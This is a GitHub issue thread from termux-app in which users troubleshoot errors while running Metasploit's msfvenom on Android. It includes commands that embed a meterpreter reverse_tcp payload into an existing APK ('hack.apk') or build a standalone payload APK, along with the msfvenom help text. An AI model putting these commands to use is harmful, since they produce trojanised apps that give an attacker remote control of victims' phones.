Termux-app: MSFVenom Metasploit issue

Created on 13 Aug 2017  路  14Comments  路  Source: termux/termux-app

If i'm write this command:
./msfvenom -x base.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o hack.apk
i'm get this:
sing APK template: base.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
Error: keytool not found. If it's not in your PATH, please add it.
How to fix this?(or teach me how to use metasploit)

Most helpful comment

@IvnJzn maybe execute termux-setup-storage ?

All 14 comments

Hello! I think you are more likely to get an answer on https://plus.google.com/communities/101692629528551299417, https://groups.io/g/termux/ or a metasploit forum!

$ ./msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: ./msfvenom [options]

Options:
-p, --payload Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled Prepend a nopsled of [length] size on to the payload
-f, --format Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder The encoder to use
-a, --arch The architecture to use
--platform The platform of the payload
--help-platforms List available platforms
-s, --space The maximum size of the resulting payload
--encoder-space The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars The list of characters to avoid example: 'x00xff'
-i, --iterations The number of times to encode the payload
-c, --add-code Specify an additional win32 shellcode file to include
-x, --template Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out Save the payload
-v, --var-name Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
$

What to do now?

@Mohithchowdary you haven't passed any arguments

@illialoo99 You are trying to inject payload to another apk, which uses apktool and java, which are are currently not available in termux.

I don't know what to do now! Can you please tell me to solve this error
I will excute the exact procedure

[-] Failed to connect to the database: FATAL: role "msf" does not exist

Error while starting msfconsole
Unable to use it what to do?

How do I sign payload any one help me plzz

Whenever I use msfvenom on my terminal it says msfvenom:command not found.Can somebody help me ?

msfvenom command not found, please help me

First install kali on termux and then try installing metasploit, java and apktoopl in it.

quick question, PERMISSION DENIED

when I'm doing

./msfvenom -p android/meterpreter/reverse_tcp LHOST=(ip) LPORT=4444 R > /storage/emulated/0/Documents/test4.apk

I get

bash: /storage/emulated/0/Documents/test4.apk: Permission Denied

@IvnJzn maybe execute termux-setup-storage ?

Was this page helpful?
0 / 5 - 0 ratings